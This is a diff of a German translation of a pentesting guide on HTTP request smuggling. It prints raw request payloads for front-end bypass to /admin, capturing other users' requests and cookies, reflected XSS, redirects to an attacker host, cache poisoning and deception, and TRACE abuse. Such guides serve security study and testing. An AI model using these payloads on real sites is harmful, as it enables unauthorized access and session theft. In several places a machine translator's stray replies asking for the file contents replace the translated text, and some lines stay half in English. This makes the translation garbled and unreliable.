+- **Unbeabsichtigte Auswirkungen auf Benutzer:** Wenn dein Angriff unbeabsichtigt die Anfrage eines anderen Benutzers (nicht die von dir gesendete "normale" Anfrage) beeinflusst, zeigt das, dass dein Angriff eine andere Anwendungssitzung beeinflusst hat. Fortgesetzte Tests könnten andere Benutzer stören — daher ist Vorsicht geboten.

-## Unterscheidung von HTTP/1.1-Pipelining-Artefakten vs echtem request smuggling
+## Unterscheidung zwischen HTTP/1.1 pipelining-Artefakten und echtem request smuggling

-Connection-Reuse (keep-alive) und Pipelining können leicht Illusionen von "smuggling" in Test-Tools erzeugen, die mehrere Anfragen auf demselben Socket senden. Lerne, harmlose clientseitige Artefakte von echten serverseitigen Desynchronisationen zu unterscheiden.
+Connection reuse (keep-alive) und pipelining können leicht Illusionen von "smuggling" in Testing-Tools erzeugen, die mehrere requests über denselben socket senden. Lerne, harmlose client-seitige Artefakte von echten server-seitigen Desyncs zu unterscheiden.

-### Warum Pipelining klassische False-Positives erzeugt
+### Warum pipelining klassische False Positives erzeugt

-HTTP/1.1 verwendet eine einzelne TCP/TLS-Verbindung und hängt Anfragen und Antworten an denselben Stream an. Beim Pipelining sendet der Client mehrere Anfragen hintereinander und erwartet die Antworten in Reihenfolge. Ein häufiger False-Positive-Fall ist, eine malformed CL.0-style payload zweimal über eine einzelne Verbindung zu senden:
+HTTP/1.1 reuse eine einzelne TCP/TLS connection und konkatenatiert requests und responses auf demselben Stream. Beim pipelining sendet der client mehrere requests hintereinander und erwartet in-order responses. Ein häufiges False-Positive entsteht, wenn man eine malformed CL.0-artige Nutzlast zweimal über eine einzelne connection erneut sendet:
 ```
 POST / HTTP/1.1
 Host: hackxor.net
@ -342,7 +343,7 @@ Content_Length: 47
 GET /robots.txt HTTP/1.1
 X: Y
 ```
-Ich habe den Pfad, aber nicht den Dateiinhalte. Bitte sende den Inhalt von src/pentesting-web/http-request-smuggling/README.md (oder kopiere den Text hier). Ich übersetze ihn dann ins Deutsche gemäß deinen Vorgaben.
+Ich habe keinen Zugriff auf deine Dateien. Bitte füge den Inhalt von src/pentesting-web/http-request-smuggling/README.md hier ein (oder teile den zu übersetzenden Abschnitt). Ich übersetze dann den relevanten englischen Text ins Deutsche und lasse Code, Tags, Links, Pfade und die angegebenen Ausnahmen unverändert.
 ```
 HTTP/1.1 200 OK
 Content-Type: text/html
@ -356,7 +357,7 @@ Content-Type: text/plain
 User-agent: *
 Disallow: /settings
 ```
-Wenn der Server das fehlerhafte `Content_Length` ignorierte, gibt es keine FE↔BE desync. Bei Wiederverwendung sendete dein Client tatsächlich diesen Byte-Stream, den der Server als zwei unabhängige requests interpretierte:
+Wenn der Server das fehlerhafte `Content_Length` ignorierte, gibt es keine FE↔BE desync. Bei reuse hat Ihr Client tatsächlich diesen Byte-Stream gesendet, den der Server als zwei unabhängige requests geparst hat:
 ```
 POST / HTTP/1.1
 Host: hackxor.net
@ -370,7 +371,7 @@ Content_Length: 47
 GET /robots.txt HTTP/1.1
 X: Y
 ```
-Impact: none. You just desynced your client from the server framing.
+Auswirkung: keine. Du hast nur deinen Client vom Server‑Framing desynchronisiert.

 > [!TIP]
 > Burp modules that depend on reuse/pipelining: Turbo Intruder with `requestsPerConnection>1`, Intruder with "HTTP/1 connection reuse", Repeater "Send group in sequence (single connection)" or "Enable connection reuse".
@ -392,33 +393,32 @@ Impact: none. You just desynced your client from the server framing.
 5. Visualize the wire
 - Use the Burp "HTTP Hacker" extension to inspect concatenation and message framing directly while experimenting with reuse and partial requests.

-### Connection‑locked request smuggling (reuse-required)
+### Connection‑locked request smuggling (Reuse erforderlich)

-Some front-ends only reuse the upstream connection when the client reuses theirs. Real smuggling exists but is conditional on client-side reuse. To distinguish and prove impact:
- Prove the server-side bug
- Use the HTTP/2 nested-response check, or
- Use partial-requests to show the FE only reuses upstream when the client does.
- Show real impact even if direct cross-user socket abuse is blocked:
- Cache poisoning: poison shared caches via the desync so responses affect other users.
- Internal header disclosure: reflect FE-injected headers (e.g., auth/trust headers) and pivot to auth bypass.
- Bypass FE controls: smuggle restricted paths/methods past the front-end.
- Host-header abuse: combine with host routing quirks to pivot to internal vhosts.
+Einige Front-Ends reuse nur die upstream‑Verbindung, wenn der Client seine Verbindung wiederverwendet hat. Echtes smuggling existiert, ist aber davon abhängig, dass clientseitige Reuse stattfindet. Zur Unterscheidung und zum Nachweis der Auswirkungen:
+- Den serverseitigen Bug nachweisen
+- Verwende den HTTP/2 nested-response check, oder
+- Verwende partial-requests, um zu zeigen, dass das FE upstream nur dann wiederverwendet, wenn der Client es tut.
+- Zeige echte Auswirkungen, selbst wenn direkter Cross‑User‑Socket‑Missbrauch blockiert ist:
+  - Cache poisoning: poison shared caches via the desync so responses affect other users.
+  - Internal header disclosure: reflect FE-injected headers (e.g., auth/trust headers) and pivot to auth bypass.
+  - Bypass FE controls: smuggle restricted paths/methods past the front-end.
+  - Host-header abuse: combine with host routing quirks to pivot to internal vhosts.
 - Operator workflow
- Reproduce with controlled reuse (Turbo Intruder `requestsPerConnection=2`, or Burp Repeater tab group → "Send group in sequence (single connection)").
- Then chain to cache/header-leak/control-bypass primitives and demonstrate cross-user or authorization impact.
+  - Reproduce with controlled reuse (Turbo Intruder `requestsPerConnection=2`, or Burp Repeater tab group → "Send group in sequence (single connection)").
+  - Then chain to cache/header-leak/control-bypass primitives and demonstrate cross-user or authorization impact.

 > See also connection‑state attacks, which are closely related but not technically smuggling:
 >
 >{{#ref}}
 >../http-connection-request-smuggling.md
->
-{{#endref}}
+>{{#endref}}

 ### Client‑side desync constraints

-If you’re targeting browser-powered/client-side desync, the malicious request must be sendable by a browser cross-origin. Header obfuscation tricks won’t work. Focus on primitives reachable via navigation/fetch, and then pivot to cache poisoning, header disclosure, or front-end control bypass where downstream components reflect or cache responses.
+Wenn du browser‑powered/client‑side desync angreifst, muss die bösartige Anfrage von einem Browser cross‑origin sendbar sein. Header‑Obfuskationstricks funktionieren nicht. Konzentriere dich auf Primitives, die via navigation/fetch erreichbar sind, und pivotiere dann zu cache poisoning, header disclosure oder front-end control bypass, wenn nachgelagerte Komponenten Antworten reflektieren oder cachen.

-For background and end-to-end workflows:
+Für Hintergrund und End‑to‑End‑Workflows:

 {{#ref}}
 browser-http-request-smuggling.md
@ -436,13 +436,13 @@ browser-http-request-smuggling.md

 ## Abusing HTTP Request Smuggling

-### Circumventing Front-End Security via HTTP Request Smuggling
+### Umgehung von Front‑End‑Sicherheitsmaßnahmen via HTTP Request Smuggling

-Sometimes, front-end proxies enforce security measures, scrutinizing incoming requests. However, these measures can be circumvented by exploiting HTTP Request Smuggling, allowing unauthorized access to restricted endpoints. For instance, accessing `/admin` might be prohibited externally, with the front-end proxy actively blocking such attempts. Nonetheless, this proxy may neglect to inspect embedded requests within a smuggled HTTP request, leaving a loophole for bypassing these restrictions.
+Manchmal erzwingen Front‑End‑Proxies Sicherheitsmaßnahmen und prüfen eingehende Requests genau. Diese Maßnahmen lassen sich jedoch durch HTTP Request Smuggling umgehen, sodass unautorisierter Zugriff auf geschützte Endpunkte möglich wird. Beispielsweise kann der Zugriff auf `/admin` extern blockiert sein, weil der Front‑End‑Proxy solche Versuche aktiv verhindert. Dieser Proxy überprüft jedoch möglicherweise eingebettete Requests innerhalb einer geschmuggelten HTTP‑Anfrage nicht, wodurch eine Lücke zum Umgehen dieser Beschränkungen entsteht.

-Consider the following examples illustrating how HTTP Request Smuggling can be used to bypass front-end security controls, specifically targeting the `/admin` path which is typically guarded by the front-end proxy:
+Betrachte die folgenden Beispiele, die zeigen, wie HTTP Request Smuggling verwendet werden kann, um Front‑End‑Sicherheitskontrollen zu umgehen, speziell mit Fokus auf den Pfad `/admin`, der üblicherweise vom Front‑End‑Proxy geschützt wird:

-**CL.TE Example**
+**CL.TE Beispiel**
 ```
 POST / HTTP/1.1
 Host: [redacted].web-security-academy.net
@ -459,9 +459,9 @@ Content-Length: 10

 x=
 ```
-Beim CL.TE-Angriff wird der `Content-Length`-Header für die initiale Anfrage ausgenutzt, während die anschließend eingebettete Anfrage den `Transfer-Encoding: chunked`-Header verwendet. Der Frontend-Proxy verarbeitet die initiale `POST`-Anfrage, prüft jedoch nicht die eingebettete `GET /admin`-Anfrage, wodurch ein unautorisierter Zugriff auf den Pfad `/admin` ermöglicht wird.
+Beim CL.TE attack wird der `Content-Length`-Header für die initiale Anfrage ausgenutzt, während die nachfolgende eingebettete Anfrage den `Transfer-Encoding: chunked`-Header verwendet. Der front-end proxy verarbeitet die initiale `POST`-Anfrage, überprüft jedoch die eingebettete `GET /admin`-Anfrage nicht, sodass unautorisierter Zugriff auf den Pfad `/admin` möglich ist.

-**TE.CL Beispiel**
+**TE.CL Example**
 ```
 POST / HTTP/1.1
 Host: [redacted].web-security-academy.net
@ -477,13 +477,13 @@ a=x
 0

 ```
-Conversely, in the TE.CL attack, the initial `POST` request uses `Transfer-Encoding: chunked`, and the subsequent embedded request is processed based on the `Content-Length` header. Similar to the CL.TE attack, the front-end proxy overlooks the smuggled `GET /admin` request, inadvertently granting access to the restricted `/admin` path.
+Umgekehrt benutzt beim TE.CL-Angriff die initiale `POST`-Anfrage `Transfer-Encoding: chunked`, und die anschließende eingebettete Anfrage wird anhand des `Content-Length`-Headers verarbeitet. Ähnlich wie beim CL.TE-Angriff übersieht der front-end proxy die eingeschmuggelte `GET /admin`-Anfrage und gewährt dadurch versehentlich Zugriff auf den geschützten `/admin`-Pfad.

-### Aufdecken von Frontend-Anforderungsumschreibungen <a href="#revealing-front-end-request-rewriting" id="revealing-front-end-request-rewriting"></a>
+### Aufdecken von front-end request rewriting <a href="#revealing-front-end-request-rewriting" id="revealing-front-end-request-rewriting"></a>

-Applications often employ a **Front-End-Server** to modify incoming requests before passing them to the back-end server. A typical modification involves adding headers, such as `X-Forwarded-For: <IP of the client>`, to relay the client's IP to the back-end. Understanding these modifications can be crucial, as it might reveal ways to **bypass protections** or **uncover concealed information or endpoints**.
+Anwendungen verwenden häufig einen **front-end server**, um eingehende Anfragen zu ändern, bevor sie an den back-end server weitergeleitet werden. Eine typische Änderung besteht darin, Header hinzuzufügen, wie z. B. `X-Forwarded-For: <IP of the client>`, um die IP des Clients an den back-end zu übermitteln. Das Verständnis dieser Änderungen kann entscheidend sein, da es Möglichkeiten aufdecken kann, **Schutzmaßnahmen zu umgehen** oder **versteckte Informationen oder Endpunkte aufzudecken**.

-To investigate how a proxy alters a request, locate a POST parameter that the back-end echoes in the response. Then, craft a request, using this parameter last, similar to the following:
+Um zu untersuchen, wie ein proxy eine Anfrage verändert, finde einen POST-Parameter, den der back-end in der Antwort zurückgibt. Erstelle dann eine Anfrage, die diesen Parameter zuletzt verwendet, ähnlich der folgenden:
 ```
 POST / HTTP/1.1
 Host: vulnerable-website.com
@ -500,19 +500,19 @@ Content-Length: 100

 search=
 ```
-In dieser Struktur werden nachfolgende Request-Komponenten nach `search=` angehängt, dem Parameter, der in der Antwort reflektiert wird. Diese Reflektion wird die Headers der nachfolgenden Request offenlegen.
+In dieser Struktur werden nachfolgende request-Komponenten an `search=` angehängt, welcher der im response reflektierte Parameter ist. Diese Reflektion legt die headers der nachfolgenden request offen.

-Es ist wichtig, den `Content-Length` Header der verschachtelten Request an die tatsächliche Inhaltslänge anzupassen. Es empfiehlt sich, mit einem kleinen Wert zu beginnen und schrittweise zu erhöhen, da ein zu niedriger Wert die reflektierten Daten abschneiden wird, während ein zu hoher Wert dazu führen kann, dass die Request einen Fehler verursacht.
+Es ist wichtig, den `Content-Length` header der verschachtelten request mit der tatsächlichen Content-Länge abzugleichen. Es empfiehlt sich, mit einem kleinen Wert zu beginnen und diesen schrittweise zu erhöhen, da ein zu niedriger Wert die reflected Daten abschneidet, während ein zu hoher Wert die request fehlerhaft werden lassen kann.

-Diese Technik ist auch im Kontext einer TE.CL-Schwachstelle anwendbar, aber die Request sollte mit `search=\r\n0` enden. Unabhängig von den Newline-Zeichen werden die Werte an den search-Parameter angehängt.
+Diese Technik ist auch im Kontext einer TE.CL-Schwachstelle anwendbar, aber die request sollte mit `search=\r\n0` enden. Unabhängig von den newline-Zeichen werden die Werte an den search-Parameter angehängt.

-Diese Methode dient hauptsächlich dazu, die vom front-end proxy vorgenommenen Request-Modifikationen zu verstehen und damit im Wesentlichen eine selbstgesteuerte Untersuchung durchzuführen.
+Diese Methode dient hauptsächlich dazu, die vom front-end proxy vorgenommenen request-Änderungen zu verstehen und damit eine selbstgesteuerte Untersuchung durchzuführen.

-### Requests anderer Benutzer erfassen <a href="#capturing-other-users-requests" id="capturing-other-users-requests"></a>
+### Erfassen der requests anderer Benutzer <a href="#capturing-other-users-requests" id="capturing-other-users-requests"></a>

-Es ist möglich, die Requests des nächsten Benutzers zu erfassen, indem man während einer POST-Operation eine spezifische Request als Wert eines Parameters anhängt. So kann das erreicht werden:
+Es ist möglich, die requests des nächsten Users zu erfassen, indem man während einer POST-Operation eine spezifische request als Wert eines Parameters anhängt. So kann das erreicht werden:

-Indem man die folgende Request als Wert eines Parameters anhängt, kann man die Request des nachfolgenden Clients speichern:
+Indem Sie die folgende request als Parameterwert anhängen, können Sie die request des nachfolgenden Clients speichern:
 ```
 POST / HTTP/1.1
 Host: ac031feb1eca352f8012bbe900fa00a1.web-security-academy.net
@ -532,20 +532,20 @@ Cookie: session=4X6SWQeR8KiOPZPF2Gpca2IKeA1v4KYi

 csrf=gpGAVAbj7pKq7VfFh45CAICeFCnancCM&postId=4&name=asdfghjklo&email=email%40email.com&comment=
 ```
-In diesem Szenario ist der **comment parameter** dafür vorgesehen, den Inhalt des Kommentarbereichs eines Posts auf einer öffentlich zugänglichen Seite zu speichern. Folglich erscheinen die Inhalte der anschließenden Anfrage als Kommentar.
+In diesem Szenario soll der **comment-Parameter** den Inhalt des Kommentarbereichs eines Beitrags auf einer öffentlich zugänglichen Seite speichern. Folglich erscheinen die Inhalte der nachfolgenden Anfrage als Kommentar.

-Allerdings hat diese Technik Einschränkungen. Im Allgemeinen erfasst sie Daten nur bis zum Parametertrennzeichen, das in der smuggled request verwendet wird. Bei URL-encoded Formularübermittlungen ist dieses Trennzeichen das Zeichen `&`. Das bedeutet, dass der erfasste Inhalt aus der Anfrage des Opferbenutzers am ersten `&` endet, der sogar Teil der query string sein kann.
+Allerdings hat diese Technik Einschränkungen. Im Allgemeinen erfasst sie Daten nur bis zum Parameter-Delimiter, der in der geschmuggelten Anfrage verwendet wird. Bei URL-enkodierten Formulareinsendungen ist dieses Trennzeichen das Zeichen `&`. Das bedeutet, dass der erfasste Inhalt aus der Anfrage des Opfers am ersten `&` endet, das sogar Teil des Query-Strings sein kann.

-Außerdem ist erwähnenswert, dass dieser Ansatz auch bei einer TE.CL-Schwachstelle funktioniert. In solchen Fällen sollte die Anfrage mit `search=\r\n0` enden. Unabhängig von newline characters werden die Werte dem search parameter angehängt.
+Außerdem ist diese Vorgehensweise auch bei einer TE.CL-Schwachstelle möglich. In solchen Fällen sollte die Anfrage mit `search=\r\n0` enden. Unabhängig von Zeilenumbruchzeichen werden die Werte an den search-Parameter angehängt.

-### Verwendung von HTTP request smuggling zur Ausnutzung von Reflected XSS
+### Mit HTTP request smuggling Reflected XSS ausnutzen

-HTTP Request Smuggling kann genutzt werden, um Webseiten mit **Reflected XSS** anzugreifen, und bietet dabei erhebliche Vorteile:
+HTTP Request Smuggling kann genutzt werden, um Webseiten mit **Reflected XSS** auszunutzen, und bietet dabei erhebliche Vorteile:

- Eine Interaktion mit den Zielbenutzern ist **nicht erforderlich**.
- Es erlaubt die Ausnutzung von XSS in Teilen der Anfrage, die **normalerweise nicht erreichbar** sind, wie z. B. HTTP request headers.
+- Eine Interaktion mit Zielbenutzern ist **nicht erforderlich**.
+- Ermöglicht das Ausnutzen von XSS in Teilen der Anfrage, die **normalerweise nicht zugänglich** sind, wie z. B. HTTP request headers.

-In Szenarien, in denen eine Website gegenüber Reflected XSS über den User-Agent header verwundbar ist, demonstriert das folgende payload, wie diese Schwachstelle ausgenutzt werden kann:
+In Fällen, in denen eine Website für Reflected XSS über den User-Agent header anfällig ist, zeigt das folgende Payload, wie diese Schwachstelle ausgenutzt werden kann:
 ```
 POST / HTTP/1.1
 Host: ac311fa41f0aa1e880b0594d008d009e.web-security-academy.net
@ -566,26 +566,26 @@ Content-Type: application/x-www-form-urlencoded

 A=
 ```
-This payload is structured to exploit the vulnerability by:
+This payload ist so aufgebaut, dass sie die Schwachstelle ausnutzt durch:

-1. Initiating a `POST` request, seemingly typical, with a `Transfer-Encoding: chunked` header to indicate the start of smuggling.
-2. Following with a `0`, marking the end of the chunked message body.
-3. Then, a smuggled `GET` request is introduced, where the `User-Agent` header is injected with a script, `<script>alert(1)</script>`, triggering the XSS when the server processes this subsequent request.
+1. Initiierung einer `POST`-Anfrage, scheinbar typisch, mit dem Header `Transfer-Encoding: chunked`, um den Beginn des smuggling anzuzeigen.
+2. Danach ein `0`, das das Ende des chunked message body markiert.
+3. Dann wird eine eingeschmuggelte `GET`-Anfrage eingeführt, wobei der `User-Agent`-Header mit einem Script, `<script>alert(1)</script>`, injiziert wird, das das XSS auslöst, wenn der Server diese nachfolgende Anfrage verarbeitet.

-By manipulating the `User-Agent` through smuggling, the payload bypasses normal request constraints, thus exploiting the Reflected XSS vulnerability in a non-standard but effective manner.
+Durch Manipulation des `User-Agent` durch smuggling umgeht die payload normale Anfragebeschränkungen und nutzt so die Reflected XSS-Schwachstelle auf eine unübliche, aber effektive Weise.

 #### HTTP/0.9

 > [!CAUTION]
-> Falls Benutzereingaben in einer Antwort mit einem **`Content-type`** wie **`text/plain`** reflektiert werden, verhindert das die Ausführung des XSS. Unterstützt der Server **HTTP/0.9**, könnte dies jedoch umgangen werden!
+> Falls der Benutzerinhalt in einer Antwort mit einem **`Content-type`** wie **`text/plain`** reflektiert wird, was die Ausführung des XSS verhindert. Wenn der Server **HTTP/0.9 unterstützt, könnte dies umgangen werden**!

-Die Version HTTP/0.9 war der Vorgänger von 1.0 und verwendet nur **GET**-Verben und antwortet **nicht** mit **headers**, sondern nur mit dem body.
+Die Version HTTP/0.9 war vor 1.0 und verwendet nur **GET**-Verben und **antwortet nicht** mit **headers**, sondern nur mit dem Body.

-In [**this writeup**](https://mizu.re/post/twisty-python) wurde dies mit request smuggling ausgenutzt, wobei ein **vulnerabler Endpoint, der mit der Eingabe des Benutzers antwortet**, genutzt wurde, um eine Anfrage im HTTP/0.9-Format einzuschleusen. Der Parameter, der in der Antwort reflektiert wurde, enthielt eine **fake HTTP/1.1 response (with headers and body)**, sodass die Antwort gültigen ausführbaren JS-Code mit einem `Content-Type` von `text/html` enthält.
+In [**this writeup**](https://mizu.re/post/twisty-python) wurde dies mit request smuggling ausgenutzt und einem verwundbaren Endpunkt, der mit der Eingabe des Benutzers antwortet, um eine Anfrage mit HTTP/0.9 einzuschmuggeln. Der Parameter, der in der Antwort reflektiert wurde, enthielt eine gefälschte HTTP/1.1-Antwort (mit headers und body), sodass die Antwort gültigen ausführbaren JS-Code mit einem `Content-Type` von `text/html` enthielt.

-### Ausnutzen von On-site Redirects mit HTTP Request Smuggling <a href="#exploiting-on-site-redirects-with-http-request-smuggling" id="exploiting-on-site-redirects-with-http-request-smuggling"></a>
+### Ausnutzen von site-internen Redirects mit HTTP Request Smuggling <a href="#exploiting-on-site-redirects-with-http-request-smuggling" id="exploiting-on-site-redirects-with-http-request-smuggling"></a>

-Anwendungen leiten häufig von einer URL zu einer anderen weiter, indem der Hostname aus dem `Host`-Header in der Redirect-URL verwendet wird. Das ist üblich bei Webservern wie Apache und IIS. Fordert man z. B. ein Verzeichnis ohne abschließenden Slash an, führt das zu einem Redirect, der den Slash ergänzt:
+Anwendungen leiten häufig von einer URL zu einer anderen weiter, indem sie den Hostnamen aus dem `Host`-Header in der Weiterleitungs-URL verwenden. Das ist bei Webservern wie Apache und IIS üblich. Zum Beispiel führt das Anfordern eines Verzeichnisses ohne abschließenden Slash zu einer Weiterleitung, um den Slash einzufügen:
 ```
 GET /home HTTP/1.1
 Host: normal-website.com
@ -595,7 +595,7 @@ Führt zu:
 HTTP/1.1 301 Moved Permanently
 Location: https://normal-website.com/home/
 ```
-Obwohl es auf den ersten Blick harmlos wirkt, kann dieses Verhalten mit HTTP request smuggling ausgenutzt werden, um Benutzer auf eine externe Website umzuleiten. Zum Beispiel:
+Obwohl es harmlos erscheint, kann dieses Verhalten mittels HTTP request smuggling manipuliert werden, um Benutzer auf eine externe Seite umzuleiten. Zum Beispiel:
 ```
 POST / HTTP/1.1
 Host: vulnerable-website.com
@ -609,29 +609,29 @@ GET /home HTTP/1.1
 Host: attacker-website.com
 Foo: X
 ```
-Diese geschmuggelte Anfrage könnte dazu führen, dass die nächste verarbeitete Benutzeranfrage auf eine vom Angreifer kontrollierte Website umgeleitet wird:
+Diese geschmuggelte Anfrage könnte dazu führen, dass die nächste verarbeitete Benutzeranfrage zu einer vom Angreifer kontrollierten Website umgeleitet wird:
 ```
 GET /home HTTP/1.1
 Host: attacker-website.com
 Foo: XGET /scripts/include.js HTTP/1.1
 Host: vulnerable-website.com
 ```
-Ergibt:
+Führt zu:
 ```
 HTTP/1.1 301 Moved Permanently
 Location: https://attacker-website.com/home/
 ```
-In diesem Szenario wird die Anfrage eines Nutzers nach einer JavaScript-Datei abgefangen. Der Angreifer kann den Nutzer potenziell kompromittieren, indem er bösartigen JavaScript-Code zurückliefert.
+In diesem Szenario wird die Anfrage eines Benutzers nach einer JavaScript-Datei gekapert. Der Angreifer kann den Benutzer möglicherweise kompromittieren, indem er als Antwort bösartigen JavaScript-Code ausliefert.

-### Ausnutzen von Web Cache Poisoning via HTTP Request Smuggling <a href="#exploiting-web-cache-poisoning-via-http-request-smuggling" id="exploiting-web-cache-poisoning-via-http-request-smuggling"></a>
+### Ausnutzung von Web Cache Poisoning durch HTTP Request Smuggling <a href="#exploiting-web-cache-poisoning-via-http-request-smuggling" id="exploiting-web-cache-poisoning-via-http-request-smuggling"></a>

-Web cache poisoning kann ausgeführt werden, wenn irgendeine Komponente der **Front-End-Infrastruktur Inhalte zwischenspeichert**, typischerweise zur Leistungssteigerung. Durch Manipulation der Serverantwort ist es möglich, den Cache zu **poison the cache**.
+Web cache poisoning kann ausgeführt werden, wenn eine Komponente der **Front-End-Infrastruktur Inhalte zwischenspeichert**, typischerweise zur Leistungsverbesserung. Durch Manipulation der Serverantwort ist es möglich, **poison the cache**.

-Zuvor haben wir gesehen, wie Serverantworten so verändert werden können, dass ein 404-Fehler zurückgegeben wird (siehe [Basic Examples](#basic-examples)). Ebenso ist es möglich, den Server dazu zu bringen, `/index.html`-Inhalt als Antwort auf eine Anfrage für `/static/include.js` zu liefern. Folglich wird der Inhalt von `/static/include.js` im Cache durch den von `/index.html` ersetzt, wodurch `/static/include.js` für Nutzer unzugänglich wird und potenziell zu einem Denial of Service (DoS) führt.
+Zuvor haben wir gesehen, wie Serverantworten verändert werden können, um einen 404-Fehler zurückzugeben (siehe [Basic Examples](#basic-examples)). Ebenso ist es möglich, den Server so zu täuschen, dass er auf eine Anfrage nach `/static/include.js` den Inhalt von `/index.html` ausliefert. Folglich wird der Inhalt von `/static/include.js` im Cache durch den von `/index.html` ersetzt, wodurch `/static/include.js` für Benutzer unzugänglich wird und möglicherweise zu einem Denial of Service (DoS) führt.

-Diese Technik wird besonders gefährlich, wenn eine **Open Redirect vulnerability** entdeckt wird oder wenn es eine **on-site redirect to an open redirect** gibt. Solche Schwachstellen können ausgenutzt werden, um den gecachten Inhalt von `/static/include.js` durch ein Skript des Angreifers zu ersetzen, was im Wesentlichen einen weitreichenden Cross-Site Scripting (XSS)-Angriff gegen alle Clients ermöglicht, die die aktualisierte `/static/include.js` anfordern.
+Diese Technik wird besonders potent, wenn eine **Open Redirect vulnerability** entdeckt wird oder wenn es einen **on-site redirect to an open redirect** gibt. Solche Vulnerabilities können ausgenutzt werden, um den gecachten Inhalt von `/static/include.js` durch ein vom Angreifer kontrolliertes Script zu ersetzen, wodurch im Grunde ein weitreichender Cross-Site Scripting (XSS)-Angriff gegen alle Clients möglich wird, die das aktualisierte `/static/include.js` anfordern.

-Nachstehend eine Illustration, wie **cache poisoning combined with an on-site redirect to open redirect** ausgenutzt werden kann. Ziel ist es, den Cache-Inhalt von `/static/include.js` so zu verändern, dass JavaScript-Code des Angreifers ausgeliefert wird:
+Unten folgt eine Darstellung zur Ausnutzung von **cache poisoning combined with an on-site redirect to open redirect**. Ziel ist es, den gecachten Inhalt von `/static/include.js` so zu verändern, dass JavaScript-Code ausgeliefert wird, der vom Angreifer kontrolliert wird:
 ```
 POST / HTTP/1.1
 Host: vulnerable.net
@ -649,20 +649,20 @@ Content-Length: 10

 x=1
 ```
-Beachte die eingebettete Anfrage, die auf `/post/next?postId=3` abzielt. Diese Anfrage wird an `/post?postId=4` umgeleitet, wobei der **Host header value** zur Bestimmung der Domain verwendet wird. Durch Ändern des **Host header** kann der Angreifer die Anfrage auf seine Domain umleiten (**on-site redirect to open redirect**).
+Beachte die eingebettete Anfrage, die auf `/post/next?postId=3` abzielt. Diese Anfrage wird zu `/post?postId=4` umgeleitet und verwendet dabei den **Host header value**, um die Domain zu bestimmen. Durch Ändern des **Host header** kann der Angreifer die Anfrage auf seine Domain umleiten (**on-site redirect to open redirect**).

-Nach erfolgreichem **socket poisoning** sollte eine **GET request** für `/static/include.js` initiiert werden. Diese Anfrage wird durch die vorherige **on-site redirect to open redirect**-Anfrage kontaminiert und lädt den Inhalt des vom Angreifer kontrollierten Scripts.
+Nach erfolgreichem **socket poisoning** sollte eine **GET request** für `/static/include.js` ausgelöst werden. Diese Anfrage wird durch die vorherige **on-site redirect to open redirect**-Anfrage kontaminiert und lädt den Inhalt des vom Angreifer kontrollierten Skripts.

-Anschließend liefert jede Anfrage für `/static/include.js` den zwischengespeicherten Inhalt des Scripts des Angreifers und startet damit effektiv einen weitreichenden XSS-Angriff.
+Anschließend wird jede Anfrage an `/static/include.js` den im Cache gespeicherten Inhalt des Angreifer-Skripts ausliefern, wodurch effektiv eine großflächige XSS-Attacke gestartet wird.

 ### Verwendung von HTTP request smuggling zur Durchführung von web cache deception <a href="#using-http-request-smuggling-to-perform-web-cache-deception" id="using-http-request-smuggling-to-perform-web-cache-deception"></a>

 > **Was ist der Unterschied zwischen web cache poisoning und web cache deception?**
 >
-> - In **web cache poisoning**, der Angreifer veranlasst die Anwendung, bösartigen Inhalt im Cache zu speichern, und dieser Inhalt wird aus dem Cache an andere Anwender der Anwendung ausgeliefert.
-> - In **web cache deception**, der Angreifer veranlasst die Anwendung, sensible Inhalte eines anderen Benutzers im Cache zu speichern, und der Angreifer ruft diese Inhalte anschließend aus dem Cache ab.
+> - In **web cache poisoning** verursacht der Angreifer, dass die Anwendung bösartigen Inhalt im Cache speichert, und dieser Inhalt wird aus dem Cache an andere Nutzer der Anwendung ausgeliefert.
+> - In **web cache deception** bringt der Angreifer die Anwendung dazu, sensible Inhalte eines anderen Nutzers im Cache zu speichern, und der Angreifer ruft diese Inhalte anschließend aus dem Cache ab.

-Der Angreifer erstellt eine geschmuggelte Anfrage, die sensible, benutzerspezifische Inhalte abruft. Betrachten Sie folgendes Beispiel:
+Der Angreifer erstellt eine smuggled request, die sensitive, benutzerspezifische Inhalte abruft. Betrachte folgendes Beispiel:
 ```markdown
 `POST / HTTP/1.1`\
 `Host: vulnerable-website.com`\
@ -673,17 +673,17 @@ Der Angreifer erstellt eine geschmuggelte Anfrage, die sensible, benutzerspezifi
 `GET /private/messages HTTP/1.1`\
 `Foo: X`
 ```
-Wenn diese smuggled request einen cache entry vergiftet, der für static content vorgesehen ist (z. B. `/someimage.png`), könnten die sensitive data des victims von `/private/messages` unter dem cache entry des static content zwischengespeichert werden. Folglich könnte der attacker diese zwischengespeicherten sensitive data abrufen.
+Wenn diese eingeschmuggelte Anfrage einen cache entry vergiftet, der für static content vorgesehen ist (z. B. `/someimage.png`), könnten die sensiblen Daten des Opfers aus `/private/messages` unter dem cache entry des static content zwischengespeichert werden. Folglich könnte der Angreifer möglicherweise diese zwischengespeicherten sensiblen Daten abrufen.

 ### Missbrauch von TRACE mittels HTTP Request Smuggling <a href="#exploiting-web-cache-poisoning-via-http-request-smuggling" id="exploiting-web-cache-poisoning-via-http-request-smuggling"></a>

-[**In this post**](https://portswigger.net/research/trace-desync-attack) schlägt vor, dass, wenn der Server die Methode TRACE aktiviert hat, es möglich sein könnte, diese mittels HTTP Request Smuggling auszunutzen. Das liegt daran, dass diese Methode jeden an den Server gesendeten header als Teil des body der response zurückspiegelt. Zum Beispiel:
+[**In this post**](https://portswigger.net/research/trace-desync-attack) wird vorgeschlagen, dass, wenn der Server die Methode TRACE aktiviert hat, es möglich sein könnte, sie mit einem HTTP Request Smuggling auszunutzen. Dies liegt daran, dass diese Methode jeden an den Server gesendeten header als Teil des body der Antwort reflektiert. Zum Beispiel:
 ```
 TRACE / HTTP/1.1
 Host: example.com
 XSS: <script>alert("TRACE")</script>
 ```
-Bitte fügen Sie den Inhalt der Datei src/pentesting-web/http-request-smuggling/README.md hier ein. Ich übersetze den relevanten englischen Text ins Deutsche und lasse dabei Code, Technik‑/Toolnamen, Tags, Links, Pfade und die Markdown/HTML-Syntax unverändert. Sie können den Inhalt auch in mehreren Nachrichten senden, falls er sehr lang ist.
+Bitte füge den Inhalt von src/pentesting-web/http-request-smuggling/README.md hier ein. Ich werde den relevanten englischen Text ins Deutsche übersetzen und dabei die angegebenen Regeln (Markdown/HTML-Syntax, unveränderte Tags/Links/Code/Techniknamen) genau einhalten.
 ```
 HTTP/1.1 200 OK
 Content-Type: message/http
@ -694,17 +694,17 @@ Host: vulnerable.com
 XSS: <script>alert("TRACE")</script>
